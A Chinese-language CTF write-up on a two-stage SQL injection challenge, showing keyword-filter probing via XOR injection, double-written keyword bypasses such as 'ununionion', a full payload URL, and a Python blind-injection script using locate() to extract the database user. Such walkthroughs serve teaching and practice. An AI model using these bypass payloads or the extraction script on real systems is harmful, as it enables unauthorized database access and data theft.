這道題目我弄了好久,最后問了朋友,然后在朋友的幫助下,將flag找到了
這里寫一下解題方法,記錄一下
一進到這道題,看到了php?id=1,就很熟悉,很有可能是一道sql注入的題目,肯定是要試一下最簡單的測試,(哪怕知道不可能是什么都沒有過濾)
單引號出錯
多加一個%23,發現不出錯了
加上’ and 1=1%23
又出錯了,可能是過濾了,但是不知道過濾了什么
這里有一個很好的方法知道過濾的是什么
使用異或注入
在id=1后面輸入 '(0)'
發現不出錯,那就將0換成1=1
如果出錯,那就是成功了
通過驗證是可以的
也就是說,如果括號里面的判斷是假的,那么頁面就會顯示正確
那么同理,如果我修改里面的內容為length(‘union’)!=0
如果頁面顯示正確,那就證明length(‘union’)是等於0的,也就是union被過濾了
發現確實是這樣,那就可以在這里進行判斷,看看到底那些函數被過濾了
最后發現union,select,or,and被過濾了
limit,from沒有被過濾
嘗試繞過過濾,既然union這些都是被過濾掉了
那構造ununionion 一旦union被過濾,刪除了,那剩下來的還是union,這樣就可以起到作用了
經過測試,用那個方法,確實可以
最終的payload為
http://120.24.86.145:9004/1ndex.php?id=1' anandd 1=2 uniounionn selecselectt 1,2%23
還是一個回顯的
然后測試,找到了一個表為flag1,列名為flag1
出來一串不知道是什么東西的數據
然后就繼續查找,因為提示說有2個flag,那就是還有一個
最后在address這個列里面找到一個網址
點擊進去發現
這道題還沒有做完,前面的只是為了找這個鏈接……
這里還是一個考注入,那就常規測試一下,加上單引號
出現報錯,還是最常見的報錯,那就是要%23注析掉了
然后繼續測試其他的
1=2出錯
1=1正常
Order by 2也正常
一切都好順利
' union select 1,2%23
出現了過濾,把union過濾了
用之前的方法繞過
' uniunionon select 1,2%23
發現把select也吃掉了
那就測試一下看看還有那些函數被過濾了
直接在id后面輸入函數就可以知道,因為有回顯我們輸入的數據
id=1 union select limit from and or where if sleep substr ascii
發現 union sleep substr被過濾了
那就是不能回顯,substr也不能用了
我這里用了一個不常用的函數locate()
直接判斷查出來的數據里面有那些字符,然后將它們按順序排序
def user():
flag =''
for j in xrange(1, 100):
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
key = 0
for i in temp:
url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select user()),"+str(j)+"))="+str(j)+"%23"
r1 = rs.get(url)
# print url
if "Hello" in r1.text:
print str(i)+" -----"+str(j)
flag += str(i)
key = 1
if key ==0:
print "[*] : " + flag
break
完整代碼在我的GitHub里面有